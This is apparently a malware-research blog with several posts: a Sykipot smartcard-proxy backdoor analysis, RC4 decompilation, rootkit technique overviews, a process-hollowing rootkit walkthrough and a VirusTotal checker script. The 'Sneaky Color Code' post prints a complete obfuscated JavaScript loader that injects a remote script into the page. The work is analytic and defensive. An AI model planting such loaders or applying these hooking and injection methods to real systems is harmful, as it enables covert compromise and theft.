EipLoader
Malware Technology Research
Analysis Of Sykipot Smartcard Proxy Variant
Posted by on February 2, 2012
Executive Summary
In this analysis report, it attests Alientvault’s claim that users who are using ActivIdentity ActivClient software are affected. See link: http://labs.alienvault.com/labs/index.php/2012/when-the-apt-owns-your-smart-cards-and-certs
This malware does not only attempts to capture keystrokes and clipboard data, it also serves as a backdoor to remote control the victim’s system fully, and access protected resources that require authentication using smartcard.
Having said that, it is also important to note that the malware requires the smartcard to be in the reader when access is required. In another word, this victim is used as a smartcard proxy, where the stolen login pin is used to access the smartcard.
By analyzing this malware’s behavior, it is highly likely an espionage malware, which is particularly keen in email messages and reports craft while Outlook, Firefox and/or Internet Explorer is running through key logging. Additionally, this malware takes extra precautionary measures to maintain stealth in the victim’s system, and it hopes to remain undetected for a long period.
Analysis Abstract
Upon execution of Sykipot for the first time, it copies itself to its working directory as “dmm.exe” and restarts itself from there. The injected DLL will perform key logging and clipboard copying in one thread; and opens a backdoor to the Command and Control (CnC) server in another. The range of functionalities that it offers ranges from remote execution of command prompt and custom backdoor commands to smartcard access for secured resource access. As a mean to persist and survive reboot in a stealthy manner, it relocates itself to start up folder as “taskmost.exe” only upon closure of the Windows session; and relocates itself to working directory again when started. This inevitably impedes live system forensic when start-up entry points are inspected.
In subsequent sections, the analysis of each Sykipot components (EXE and DLL) is detailed.
Sykipot EXE
MD5: B0F9DC538F08E49C4B0DA93972BC48A3
Path: C:\DOCUME~1\%user%\LOCALS~1\dmm.exe
Size: 69632
As described in the flow above, Sykipot EXE component is responsible for both malicious code injection and persistency. Upon execution for the first time (either login or infected), it copy itself to the working directory (parent directory of temp folder, Local Settings) as “dmm.exe”; and the timestamp of this executable file is stomped to be the same as a windows system file, “c:\windows\system32\svchost.exe”, possibly to imped disk forensic investigation.
All processes are enumerated and it attempts to inject malicious DLL (dropped from the resource section) into outlook.exe, iexplore.exe and firefox.exe. This DLL is disguised as Microsoft related executable, which again makes it harder to identify it in a memory or disk forensic.
Persistency Mechanism
Sykipot deletes “taskmost.exe” from start up folder to remove traces any persistency when run. However, a new thread is started to listen for the following windows messages:
- WM_QUIT (0X12)
- WM_DESTROY (0X02)
- WM_QUERYENDSESSION (0X11)
- WM_ENDSESSION (0X16)
Only when windows exit, Sykipot relocates itself to the start up folder again as “taskmost.exe” to ensure persistency. Since the executable only exists in start up folder when required, live analysis would probably miss this executable when start up entries are inspected. In another words, this persistency entry is removed when the malware is alive; and this entry is only updated upon exit.
Sykipot DLL
MD5: C2821DDE5D309962337434AA6062EAA9
Path: C:\DOCUME~1\user\LOCALS~1\MSF5F9.dat
Size: 58368
Malicious File Artefacts
The working directory of Sykipot is “Local Settings” which contains all related executable and configuration files.
Commands Types
The encrypted commands are downloaded into MSF5F1.dat and they are classified into five different groups – cmd, door, getfile, putfile and time.
- cmd contains a list of command-prompt commands.
- door contains a list of backdoor commands.
- getfile refers to a list of files to be downloaded.
- putfile refers to a list a files to be uploaded.
- time refers to the next connection time.
Sykipot Door-type Commands (Generic)
- runtime – get victim’s runtime.
- system – execute a file.
- ipconfig – show network configuration.
- move – move file.
- del – secure delete file.
- rundll – load a dll.
- enddll –unload a dll.
- dir – list directory.
- run – execute a windowing program.
- process – list processes.
- port – list TCP and UDP connections.
- uninstall – uninstall Sykipot.
- reboot – reboot system.
- kill– kill a process.
- key – get key logger results.
Sykipot Door-type Commands (Smartcard related)
- cl – list certificates available.
- cm – loads active client dll and gets a list of card readers and cards available.
- krundll– load and run card related DLL which has the following functions.
- LoginFunc (argument, sReferer, sHeader, sUploadFileName, sCertificate, sPIN, dataout)
- PutFunc (hInternet, argument, sReferer, sHeader, argument, b_putfile_or_putdata, sUploadFileName, sCertificate, sPIN, dataout)
- GetFunc (hInternet, argument, sReferer, sHeader, sUploadFileName, sCertificate, sPIN, dataout)
- *It is suspected that the unknown argument is the URL to the secured resource. As this dll is not available, it becomes an analysis blind spot. However, its intention can be induced through its function name and parameters.
- kenddll – unload the card related dll.
- kshow – reveals the card login status.
- klogin – invoke LoginFunc.
- kput – invoke PutFunc.
- kget – invoke GetFunc.
- kfile – set the upload file name.
- kpin – set the pin value.
- kcert – set the cert value.
- kheader – set the header value.
- kreferer – set the referrer value.
Below are the codes used inside cl (Certificate Listing). It lists all the card Issuer and subject that are associated with private keys. Note: This does not imply extraction of private key. Rightfully a properly configured/protected smart card should not allow private key extraction.
Below are the codes used inside cm (Card Monitor). It attempts to load “acpkcs201.dll” (an ActivClient DLL) from 3 possible paths:
- System directory, e.g. C:\windows\system32
- C:\Program Files\ActivIdentity\ActivClient
- C:\Program Files(x86)\ActivIdentity\ActivClient
Using this DLL, it accesses the following procedures:
- AC_XSI_UtilGetReaderList
- AC_XSI_UtilGetCardStatus
Interesting Observations
Information Grouping
The encrypted commands are downloaded into MSF5F1.dat and they are classified into five different groups – cmd, door, getfile, putfile and time. And the contents for each group is placed in each 2D array [128][1024], where the first index directs to the entry and the second index directs to the specific character in the chosen entry. By this way, it is able to a batch of commands in a structured manner.
Proxy Selection
It selects the proxy value to set depending on the application that it injects into. Suppose if it is loaded as a DLL inside firefox, it will use the proxy setting found inside “%APPDATA% \Mozilla\Firefox\Profiles\<profile folder>\prefs.js”. The proxy server address/domain and port is extracted by identifying the following headers respectively – “network.proxy.http” and “network.proxy.http_port”
In other cases, proxy information is extracted from the following registry entry: “HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Proxyserver”.
Secure File Deletion
It is also interesting to see that it attempts to clear the file it attempts to delete before deleting the file from the system if “del” command is triggered.
Conclusion
From the way that this malware attempts to hide its data through encryption and deletion of temp files when not in used, it reveals that its intention is to remain as undetected as long as possible. It also seems like this intention outweighs the need for this malware to be reliable. In the event of improper shut down, this malware may lose its persistency.
The intention to maintain network stealth is also noted. As Outlook, Internet explorer and Firefox are targeted as victim processes, it would appear benign if any of these three processes attempting to connecting to any web server. One additional benefit to inject into these processes is that, all newly composed emails and reports/work are key logged while using any of these programs.
Acknowledgement
I would like to thank Jaime Blasco (Alienvault Lab Manager) for sharing this sample. And also, with reference to his article, it has helped a lot in analysing this sample.
Update
For more details about its encryption algorithm, please refer to the following link for a paper published.
Analysing Compiler-Optimised RC4
Posted by on September 14, 2011
The same C/C++ source code can always be compiled differently by using different compilers or selecting different optimization mode. This is because the “meaning of the codes” can be retained even after rewriting it differently. For example, a “for-loop” which iterates 3 times can be replaced by repeating the block of statements three times; and redundant codes can also be removed without changing the effect of the program.
This implies that compiling a source code to machine code is a One-To-Many relationship. With that, it is difficult or almost impossible to reverse-engineer compiled codes back to its original state (original source code).
In this article, I would like to illustrate the difference between the source and the decompiled codes of the RC4 cryptographic algorithm implementation. To achieve this, I have written a simple console application which utilizes RC4 to perform simple encryption and decryption. (See source code below.)
Before Compilation
#include <stdio.h> #include <string.h> #include <windows.h> #include "rc4.h" #define BUF_SIZE 128 void main (void) { unsigned char key_pass [] = "This is a RC4key"; unsigned char bufPlain[BUF_SIZE]; unsigned char bufCipher[BUF_SIZE]; RC4_KEY key; int i; //Prepare the buffers for encryption memset(bufPlain,0,BUF_SIZE); memset(bufCipher,0,BUF_SIZE); strncpy ((char *)bufPlain , "This is a secret text to be encrypted using RC4.\n" "It will then be decrypted later using RC4 for testing.", BUF_SIZE); //Encrypt the plain text RC4_set_key(&key, strlen((char *)key_pass) ,key_pass); RC4(&key, BUF_SIZE,(unsigned char *) bufPlain, (unsigned char *)bufCipher); //Print the cipher in hex string printf("The encrypted msg\n"); for (i = 0;i <BUF_SIZE; i++) printf ("%02X",bufCipher[i]); printf ("\n\n"); //Decrypt the cipher to verify printf("Decrypting\n\n"); memset(bufPlain,0,BUF_SIZE);//clear the plain text buffer RC4_set_key(&key, strlen((char *)key_pass) ,key_pass); RC4(&key, BUF_SIZE,(unsigned char *) bufCipher, (unsigned char *)bufPlain); //Print the decrypted message printf("The decrypted msg\n%s",(char *)bufPlain); getchar(); }
The RC4 implementation is provided by Kungliga Tekniska. See 2 important functions extracted below.
void RC4_set_key(RC4_KEY *key, const int len, unsigned char *data){ int i, j; for (i = 0; i < 256; i++) key->state[i] = i; for (i = 0, j = 0; i < 256; i++) { j = (j + key->state[i] + data[i % len]) % 256; SWAP(key, i, j); } key->x = key->y = 0; } void RC4(RC4_KEY *key, const int len, const unsigned char *in, unsigned char *out){ int i, t; unsigned x, y; x = key->x; y = key->y; for (i = 0; i < len; i++) { x = (x + 1) % 256; y = (y + key->state[x]) % 256; SWAP(key, x, y); t = (key->state[x] + key->state[y]) % 256; *out++ = key->state[t] ^ *in++; } key->x = x; key->y = y; }
Observations
- RC4_set_key function: It is obvious see that it contains two loops, where the first loop is simply used to initialize the key state, while the second loop is used the schedule the keys using the input RC4 secret key. In this case, the RC4 secret key is “This is a RC4key”.
- RC4 function: There is one loop which iterates through plain text byte array and scramble the key state at the same time. And also, a selected key state element is used to “pad” the plain text byte to produce a cipher byte in each iteration.
After Compilation
The codes above are compiled with full optimization (/Ox), the “look” of the assembly codes appears terribly different from how it was written in C for some parts of the codes.
Analysis of RC4 _Set_Key function
Well, let’s examine the RC4_set_key function first. Below is the decompiled code of the first loop inside the SetKey function with the help of HexRay. There is no significant change in this simple loop except that the for loop is replaced with a do-while loop.

However, the “simple” second loop inside RC4_Set_Key has become almost beyond recognition compared to the source.
From the figure above, I have identified 4 repeating blocks within the loop and have boxed in red and green outlines.
The next thing that caught my eye is the loop counter. It is interesting to see that the loop counter is initialized with the value 2 before the do-while loop. For the first “iteration” (first block boxed in red), the loopCounter would take the value of (two minus two) which is zero; and in the second “iteration” (second block boxed in green), the loopCounter would take the value of (two minus one) which is one, and so on so forth. Before the end of the do-while loop, this loopCounter is incremented by the value of four. This is another tell tale sign that this do-while loop has 4 repeating blocks of statement embedded within. As a result, this do-while loop iterates only 64 times instead of 256 times.
However, by comparing the first block of statements (boxed in red) against the source code, it doesn’t look obvious that they are performing the same purpose.
Well, let’s examine this block in detail. Analysis are commented in green.
//Analysis will be using the first loop as an example for easy understanding //idx4 is a newly introduced variable that will be updated by the fourth repeating block; //For this first loop it is initialised with the value zero. LOBYTE(idx4) = 0; loopCounter = 2; //pKeyState_Element is used to point to an element in the key state array. //It is initialised to point to the 2nd element in the key state array. pKeyState_Element = (int *)&pKeyStateStruct->pKeyState[1]; do { //Since pKeyState_Element is refencing to the 2nd element, //By minusing one from this pointer, it will reference to the previous element (pKeyState[0]). //Therefore tmp_element1 will store the value pKeyState[0] tmp_element1 = *(pKeyState_Element - 1); //As pKeyState_Element is currently refencing to the 2nd element, //By adding four, it will be referencing to the 6th element. pKeyState_Element += 4; //The casting of the overall result to unsigned __int8 would be effectively modulus the result by 256. //Since loopCounter is initialised as 2, the result of loopCounter - 2 is 0. //idx1 = idx4 + pKeyState[0] + key [0 % key_length] idx1 = (unsigned __int8)((_BYTE)idx4 + tmp_element1 + key[(loopCounter - 2) % key_length]); //pKeyState_Element - 5 will reference to the first element. //pKeyState[0] = pKeyState[idx1] *(pKeyState_Element - 5) = pKeyStateStruct->pKeyState[idx1]; //pKeyState [idx1] = original pKeyState [0] pKeyStateStruct->pKeyState[idx1] = tmp_element1; //Hence it is easy to summarise the statements above as //Swap (pKeyState [0] , pKeyState[idx1]), //Where idx1 = idx4 + pKeyState[0] + key [0 % key_length], and idx4 is the "previous idx".
From the analysis above, it is interesting to see that the Swap function is actually subsumed into this loop. Additionally, with the blocks being repeated four times, “redundant” variables are also introduced. The repeated variables are “temp” variables which are used to support the swap, and the derived index are repeated four times. It is also observed that these variables are used in a ring manner.
After breaking down all and analyze the statements, it is not hard to see that this the RC4 key scheduling function.
Analysis of RC4 function
Next, we will proceed to analyse the RC4 function. See decompiled codes below.
In this RC4 loop, it is not hard to see that this do-while loop iterates only 32 times and not 128 times. With the the optimization of the loop, the contents are repeated four times in each loop. As a result, the block of statements are repeated 4 x 32 times. In the figure above, I have tried to visually separate the “repeated” blocks using red and green boxes.
Just like the key scheduling algorithm, the swap function is subsumed within this function with the help of the four newly introduced temp variables.
Below details the analysis for the block using comments in green.
outBuf = outputBuffer; y_4 = pKeyState_struct->y; inBuf = inputBuffer; x_4 = pKeyState_struct->x; loopCounter = 32; do { //x = x + 1 x_1 = (unsigned __int8)(x_4 + 1); //tmp = pKeyState[x] keyState_tmp1 = pKeyState_struct->pKeyState[x_1]; //y = pKeyState [x] + y y_1 = (unsigned __int8)(keyState_tmp1 + (_BYTE)y_4); //pKeyState[x] = pKeyState [y] pKeyState_struct->pKeyState[x_1] = pKeyState_struct->pKeyState[y_1]; //pKeyState [y] = tmp; pKeyState_struct->pKeyState[y_1] = keyState_tmp1; //The statments above suggests Swap(keyState[x],keyState[y]); //*outBuf = *inBuf XOR keyState [ (tmp + keyState [x]) % 256] //which can be interpreted as: *outBuf = *inBuf XOR keyState [ (keyState[x] + keyState [y]) % 256] //since tmp is the old keyState [x] and keyState [x] is keyState [y] after the swap *outBuf = *inBuf ^ LOBYTE(pKeyState_struct->pKeyState[ (unsigned __int8)(keyState_tmp1 + (unsigned __int8)pKeyState_struct->pKeyState[x_1])]);
Again, after breaking them down, it is not hard to see that it is the same implementation as RC4 encryption algorithm.
Sneaky Color Code Analysis
Posted by on July 26, 2011
This post describes the process to analysing the malicious javascript which is found in a number of HTML. As you can see from the script below, it appears innocently safe as it looks like a color picker script which allows users to select colors.
From the extracted malicious script tag below, it is not hard to see that the triggering function to start this javascript injection is “try_pick_colors()“;
<script type="text/javascript"> if (typeof(redef_colors)=="undefined") { var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e4745', '#3d4444', '#3d4043', '#3f3d41', '#3f423e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000'); var redef_colors = 1; var colors_picked = 0; function div_pick_colors(t,styled) { var s = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15); } } if (styled) { s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2)); } else { s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime(); } return s; } function try_pick_colors() { try { if(!document.getElementById || !document.createElement){ document.write(div_pick_colors(div_colors,1)); } else { var new_cstyle=document.createElement("script"); new_cstyle.type="text/javascript"; new_cstyle.src=div_pick_colors(div_colors,0); document.getElementsByTagName("head")[0].appendChild(new_cstyle); } } catch(e) { } try { check_colors_picked(); } catch(e) { setTimeout("try_pick_colors()", 500); } } try_pick_colors(); } </script>
Well, let’s take a closer look in examining the variable array “div_colors”. It appears genuinely like an array of color codes. Furthermore each element in the array does not seem like any kind of substring or shellcode. This triggers me to investigate the function that utilises this array – “div_pick_colors()“.
function div_pick_colors(t,styled) { var s = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15); } } if (styled) { s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2)); } else { s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime(); } return s; }
I like the way the malware author name its functions, input parameters and variables. They are very coherent in disguising itself as color picker. In this function, there are two for-loops – the first outer loop iterates through the array element, while the inner for-loop processes each array element. From the code, each array element is broken down into three different bytes starting from index 1 to 6.
byte1 = element[1:2];
byte2 = element[3:4];
byte3 = element[5:6];
In fact, each byte repesents an encoded character. To decode the character, one would need to subtract the byte value by 15.
Take the first array element as an example, “#4b8272” is broken into three bytes 0x4b, 0x 82 and 0x72, which is decoded as 0x3C ‘<‘, 0x73 ‘s’, 0x63 ‘c’. To simplify our work, we can simple add in a prompt statement to get the decoded string.
Combating APT using White and Black List
Posted by on May 27, 2011
As an effort to combat “Advance Persistent Threat”, I have written a C program to collect system related information (using SysInternal tools) and metadata of executable files inside users’ systems to pick up unknown files using white and black list. Unknown refers to files that lies in the gray area, and these are the ones that you would need to pay more attention to.
To collect metadata (such as filepath, MD5, creation date, modified date and etc), the program will recursively iterate through “C:\windows” and user folders (e.g. “C:\users” and “C:\documents and settings\”) to detect any file that has “MZ” (at offset 0x0) and “PE” (reference from offset 0x3C) at the header. This would be able to capture executable files even if it uses file extension such as “.tmp” or “.dat”.Hash list from a clean base machine is VERY important to form your own white list. NIST only covers operating system hashes; popular program hashes are not covered.
These collected data are funneled using MD5 of legitimate files (from NIST white list, FileLab and scan results from clean base machine for known white list; and from Virus Total for known blacklist). After funelling, you would be able to tell from the remaining information if a system is (possibly or already) infected by examining suspicious records. If there is sufficient evidence, a forensic investigation could be triggered to confirm findings.
What about Bit 9? Unfortunately there is a daily limit which makes infeasible to use it as a source to filter a large number of hashes unless I can have it as a local source. (Please do share with me if the is a way to access Bit9 hashes programmatically without having to pay.)
Below is a sample source code for verifying hash from Virus Total. Feel free to use it. 🙂 However, you would need to create an account in Virus Total to get a key. Note: there is a limit to the query rate at 20 API per 5 minutes.
Below is the python code to check if a hash is malicious.
import simplejson import urllib import urllib2 import os import sys import time NOT_FOUND = 0; EXCEED_REQUEST_RATE = -2; INCORRECT_KEY = -1; MALICIOUS = 0xDEAD; BENIGN = 0xBEEF; def isMalicious (sMD5): url = "https://www.virustotal.com/api/get_file_report.json" parameters = {"resource": sMD5,"key": "KEY IS A SECRET"} #You would need to register and get a public API key. data = urllib.urlencode(parameters) req = urllib2.Request(url, data) response = urllib2.urlopen(req) json = response.read() response_dict = simplejson.loads(json) result = response_dict.get("result"); if result == NOT_FOUND: return NOT_FOUND; elif result == EXCEED_REQUEST_RATE: print "Exceed request rate. Need to sleep 5 mins"; time.sleep(5*60);#sleep for 5 mins. Maximum of 20 checks for every 5 mins; return isMalicious(sMD5); elif result == INCORRECT_KEY: sys.exit("Incorrect key used"); report = response_dict.get("report")[1]; tmp = ""; try: for av in report: sig = report.get(av); tmp += sig; except: sys.exit("exception in for loop"); if tmp == "": return BENIGN; else: return MALICIOUS; print "RESULT: %04X" %(isMalicious ("1343dcb5e4b0bf84e0da8426b23ab613")); print "RESULT: %04X" %(isMalicious ("761de87e0871d24b3473e0853591bee4")); print "RESULT: %04X" %(isMalicious ("13D686DF9652E7A397B2C3DA89881C34"))
Reversed Usermode Rootkit Example
Posted by on May 16, 2011
This post details the entire malware reversing for a user mode rootkit. In summary, this rootkit will attempt to perform the following:
1. Load Resouce named “BINDATA”.
2. Decrypt the loaded resource.
3. Create and suspend a process from “C:\windows\system32\svchost.exe”
4. unmapview of the created process
5. map loaded resource, which is an executable, into the process. (replace the content of the created process)
6. update entry point and resume thread.

The malware finds a resource named “BinData” and gets the pointer to this loaded resource. It will exit if no resource is loaded.

Based on the histogram binning result of the resource using WinHex analysis tool, it appears that the bin with byte value 0x87has the highest frequency. Normally, in a unencrypted/unpacked executable file, the bin with byte value zero should have the highest count. This would probably suggest that the file is XORed using key 0x87. (Even though this is not a conclusive way to determine, but a good way to guess the XOR key.) This histogram result is also a good resource to check if a piece of data is encrypted. If a byte stream is encrypted, it tends to be uniformly binned resulting a higher entropy.

This is an evidence which shows that the encryption loop is using key 0x87.

The malware attempts to get the procedure address of ZwUnmapViewOfSection to unmap the loaded process. The malware author chose get the function pointer dynamically is probably because the development environment may not have reference to ntdll.dll lib file configured.
It creates a suspended process to prepare for malicious code mapping. Note: EAX of a suspended process points to the entry point, while EBX points to PEB. PEB + 8 is the base address of an image.
The memory to the suspended process is read, and this memory pointer is passed into ZwUnmapViewOfSection for unmapping.
The malware attempts to copy the header of the malicious MZ headers, everything before the content of first section,(from the decrypted resource file) into suspected process.
The malware next attempts to map each section in the resource into the suspended process. This effectively replaced the memory content of svchost.exe process with the malicious MZ file.
EAX is updated with the malicious entry point, and process is resumed.
Overview of Rootkit – Part 4
Posted by on May 12, 2011
In this post, I will be discussing a few techniques to implement a Kernel-Mode (KM) Rootkit (usually implemented as a malicious KM driver).
Below list an overview of the types of KM root-kitting technique.
- Table Hooking
- System Service Dispatch Table (SSDT)
- Interrupt Dispatch Table (IDT)
- Global Descriptor Table (GDT)
- I/O Request Packet (IRP) Handler Hooking
- Direct Kernel Object Manipulation (DKOM)
SSDT hooking
SSDT contains the addresses to the system service routunes exposed by NTOSKRNL.exe, and it is accessed when a system service is required. The concept of hooking to this table is similar to hooking an import address table (see “Overview of Rootkit – Part 3”).
In short, SSDT table is used to dispatch system service request.
However, to prior hooking to this table, write protection has to be turned off. The write protection is determined by the 17th bit of CR0. If this bit is set to one, it is considered write protected.
Aside, it is important to note the difference between X86 and X64 SSDT table.
- X86 – points to function by absolute address -> Easier to compromise.
- X64 – points to function by relative address -> more effort to compromise. (Jumps to: Base of Table + offset (ignoring last byte of entry))
Below is the pseudo code to hook to X86 SSDT table. Enable Write Protection (WP) is just the reverse of Disable WP by setting the particular bit using Or operation.
As shown in the image above, to update a selected entry in the SSDT, one would need to know what is the index of the table. This information is easily retrieved from the opcode/operand of the move instruction inside the stub function found inside “ntdll.dll“. The SSDT index is pushed to eax (syscall number), then it is called to dispatch. Hence from the 2nd byte of the disassembled stub of interest, the index could be trivially found.
Move eax, 0x12345678 b8 78 56 34 12 (little endian format).
Use that value and index into the SSDT table and update it with the address of the hooking function. In pseudo code, it would be something like: “SSDT [index] = addressOfHookingFunction;” Do use “InterlockedExchange” to ensure atomicity when updating the new address.
To validate if the SSDT is hooked, simply check if all the addresses inside the table is within NTOSKRNL.exe in the memory. Do take note that there ways to defeat this check by taking advantage of debugger hardware breakpoints.
IRP handler hooking
Each device is represent as an device object in the Operating Systems, managed by the Operating Systems (specifically I/O manger). The I/O manager creates and sends I/O Request Packet (IRP) to devices’ dispatch routines implemented by its drivers, when there is a need to communicate between application and device. These routines are called major functions. E.g. IRP_MJ_READ and IRP_MJ_WRITE.
Device Object -> Driver Object -> Major Functions
These IRP are sent to lowest level driver for processing then slowly transfer up the level. Hence, similarly these IRP handler table can be easily hooked. Unlike hooking to SSDT, which is part of windows system, the KM rootkit is more likely to remain unsuspected by hooking to 3rd-party drivers.
Similarly, hooking to IRP handlers could be easily detected by comparing the handler’s address and the range of the address the driver module is resided.
Direct Kernel Object Manipulation
As kernel objects are generally chained in a linked list, the enumeration of the objects is done by enumerating the list. Similarly, the list of processes running on the system can be generated by enumerating the circular doubly-linked list. To hide the presence of a process from the Operating System(OS) from enumerating this list, the root kit can modify the linked list. This concept can be applied to other types of kernel objects.
See illustration below.
This kernel object (PEPROCESS) could be easily retrieved using “PsGetCurrentProcess”
Recommended tools
Generally, cross-view techniques and address sainity checks are used by these tools to identify hidden objects.
- GMER
- Ice Sword
- Sophos Anti-Rootkit
- Rootkit Revealer
- Anti-Virus Software
- Patch Guard
References/Recommended Readings
- http://msdn.microsoft.com/en-us/library/ms644959(v=vs.85).aspx
- http://msdn.microsoft.com/en-us/library/bb430720.aspx
- http://sandsprite.com/CodeStuff/Understanding_imports.html
- Hacking Exposed (Malware & Rootkits)
- The Rootkit Arsenal
- The Windows Internal 5th Edition
Overview of Rootkit – Part 3
Posted by on April 28, 2011
User-Mode Code Injection Techniques
Technique #1 – Set Windows Hook
This type of hooking only affects applications that receives windows messages from operating systems. For example, WM_KEYUP and WM_LBUTTONDOWN.
The system supports many different types of hooks. Below list a few examples.
- WH_MOUSE – hook to monitor the message traffic for mouse messages.
- WH_KEYBOARD – hook enables an application to monitor message traffic for WM_KEYDOWN and
WM_KEYUP messages.
A separate hook chain for each type of hook. A hook chain is a list of pointers to special, application-defined callback functions called hook procedures.
Image below show the code to implement hook procedures and SetWindowsHook.
Technique #2 – WriteProcessMemory
WriteProcessMemory is one of the most common way to inject contents into other processes. These content could be string, data or malicious codes. Usually usermode rootkit that uses this API also uses other API such as the following:
- CreateProcess
- OpenProcess (usually with the help of CreateToolhelp32Snapshot, Process32First and Process32Next to get the process id of interest.)
- VirtualAllocEx (used to allocate virtual memory page on other process)
- VirtualProtectEx (used to change RWX rights of a virtual memory page.
- ZwUnmapViewOfSection (unmap the view of sections)
One way to load a DLL on other process is to write the full path (or name) of the dll to be loaded in the memory of the process of interest using WriteProcessMemory. Force the process to load a malicious DLL, and create a remote thread based on that DLL. One must note the PE format of legitimate process and malicious DLL, i.e. PE(32 bits) vs PE+ (64 bits). See sample code below.

Another method which also uses WriteProcess memory is use ZwUnmapViewOfSection to unmap a process, and overwrite the entire process memory space with a malicious executable sections. With all sections details updated, change the thread context with new entry point and base address.
See these links for more information.
- http://hi.baidu.com/175943462/blog/item/ba73c92ff42e555b4fc226a2.html
- http://www.security.org.sg/code/loadexe.html
User-Mode Hooking Techniques
Technique #1 – Hook to the IAT
Import Address Table (IAT) is a table which contains the address to the functions imported. The
address of these functions are determined by windows loader. The address of the functions imported can be “hooked” using stubbed functions, with the definition same as the actual functions. See figure below.

When the user application attempts to call to function N-1, it will jump to the trampoline function instead.
Technique #2 – Inline Hooking
Function prologue is a few lines of code at the beginning of a function, which prepare the stack and registers for use within the function. To perform inline hooking, the first 5 bytes of function prologue are overwritten with a jump to the trampoline functions.
Example of function prologue
push ebp; //Save the old base pointer (5 bytes)
mov ebp, esp; //Create new base pointer
Technique #3 – Use Hooking Engines
There is a number of hooking engines available which allow hooking to functions. One possible choice is EasyHook. See link : http://www.codeproject.com/KB/DLL/EasyHook64.aspx
Overview of Rootkit – Part 2
Posted by on April 28, 2011
This post is a continuation of “Overview of Rootkit – Part 1”. This post generally describes the types of malwares that affects various Operating System rings. (Windows Operating System only utilise Ring 0 for kernel-mode processes and Ring 3 for user-mode processes. Ring 1 and 2 are not utilized.) Below lists some of the techniques that are used to rootkit a system at different ring level.
User-Mode Rootkits (Ring 3)
- DLL/Code Injection Techniques
- Import Address Table (IAT) Hooking
- Patching function prolog, to jump to detour functions
Kernel-Mode Rootkits (Ring 0)
- System Service Dispatch Table (SSDT) Hooking
- Interrupt Dispatch Table (IDT) Hooking
- Global Decriptor Table (GDT) modification.
- Model Specific Register (MSR) Hooking
- I/O Request Packet (IRP) Handler Hooking
- Direct Kernel Object Manipulation (DKOM)
- Filter Drivers
Virtual Rootkits (Ring -1) (Processor specific rootkits)
- BluePill (supports AMD-V and recently VT-X)
- SubVirt (supports VT-X)
- VM aware malwares. (Not a root kit, but related.)
Overview of Rootkit – Part 1
Posted by on April 25, 2011
I have recently shared some information about rootkits to other incident responders, who are mostly forensic investigators. To gainfully employ this set of materials, I have decided to share some of the contents in this post. This post is meant for beginners who have vague idea about rootkits.
Read more of this post





















